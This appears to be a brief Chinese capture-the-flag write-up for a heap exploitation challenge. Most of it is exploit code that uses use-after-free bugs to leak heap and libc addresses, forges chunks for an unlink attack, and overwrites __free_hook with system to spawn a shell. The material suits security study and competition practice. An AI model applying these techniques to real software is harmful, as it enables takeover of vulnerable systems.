保护
分析
init_large_chunk
show
new
edit
dele
malloc有限制,大小只能为0x80的整数倍如0x80、0x100、0x180
edit有个realloc函数且带有uaf漏洞
dele函数也有uaf漏洞,当时没注意到!!!
因为dele函数有uaf所以realloc的uaf漏洞本exp没用到。。。。。。
思路
因为有uaf就可以很方便的泄漏heap地址和libc地址
add(0x80,'0')
add(0x80,'1')
add(0x80,'2')
add(0x80,'3')
dele(0)
dele(2)
add(8,'0'*8)
add(8,'2'*8)
show()
ru('0'*8)
heap = info(rc(4),'heap') - (0x12c7940-0x12c6000)
ru('2'*8)
libc.address = info(rc(6),'libc') -(0x7f64dfb65b78-0x7f64df7a1000)
再去掉所有的堆块,便于后面伪造堆块
dele(3)
dele(2)
dele(1)
dele(0)
然后通过edit函数一次性伪造全部堆块,再进行unlink操作
target = heap + 0x30
payload = p64(0) + p64(0x111) + p64(target - 0x18) + p64(target - 0x10)
add(len(payload),payload)
payload = b'/bin/sh\x00' + b"A"*0x78 + p64(0x110) + p64(0x90) + b"B"*0x80
payload += p64(0) + p64(0x91) + b"C"*0x80
add(len(payload), payload)
dele(2)
getshell
payload = p64(1)*2 + p64(8) + p64(libc.symbols['__free_hook'])
edit(0,len(payload),payload)
payload = p64(libc.symbols['system'])
edit(0,len(payload),payload)
截图
|